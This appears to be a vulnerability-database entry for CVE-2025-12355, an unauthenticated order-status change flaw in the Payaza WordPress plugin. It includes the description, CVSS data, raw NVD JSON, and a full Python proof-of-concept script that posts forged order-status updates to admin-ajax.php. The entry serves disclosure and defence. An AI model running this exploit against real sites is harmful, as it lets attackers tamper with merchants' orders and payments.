Security Vulnerability Report
中文
CVE-2025-12355 CVSS 5.3 MEDIUM

CVE-2025-12355

Published: 2025-12-05 07:16:11
Last Modified: 2026-04-15 00:35:42

Description

The Payaza plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_nopriv_update_order_status' AJAX endpoint in all versions up to, and including, 0.3.8. This makes it possible for unauthenticated attackers to update order statuses.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Payaza plugin for WordPress <= 0.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12355 PoC - Payaza WordPress Plugin Unauthorized Order Status Update This script demonstrates the exploitation of missing authorization in wp_ajax_nopriv_update_order_status """ import requests import sys def exploit_cve_2025_12355(target_url, order_id, new_status): """ Exploit the missing capability check in Payaza plugin Args: target_url: Target WordPress site URL order_id: Target order ID to modify new_status: New status to set (e.g., 'completed', 'cancelled') """ # AJAX endpoint URL ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct the malicious request data = { 'action': 'update_order_status', 'order_id': order_id, 'status': new_status } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-12355...") print(f"[*] Target Order ID: {order_id}") print(f"[*] New Status: {new_status}") try: # Send the malicious request without authentication response = requests.post(ajax_url, data=data, headers=headers, timeout=10) print(f"[*] Response Status Code: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200: print("[+] Request sent successfully - order status may have been modified") return True else: print("[-] Request failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_12355.py <target_url> <order_id> <new_status>") print("Example: python cve_2025_12355.py http://example.com 123 completed") sys.exit(1) target = sys.argv[1] order_id = sys.argv[2] new_status = sys.argv[3] exploit_cve_2025_12355(target, order_id, new_status)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12355", "sourceIdentifier": "[email protected]", "published": "2025-12-05T07:16:10.660", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Payaza plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_nopriv_update_order_status' AJAX endpoint in all versions up to, and including, 0.3.8. This makes it possible for unauthenticated attackers to update order statuses."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wordpress.org/plugins/payaza/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/acc88688-76e0-4477-8b7c-eeff541881ab?source=cve", "source": "[email protected]"}]}}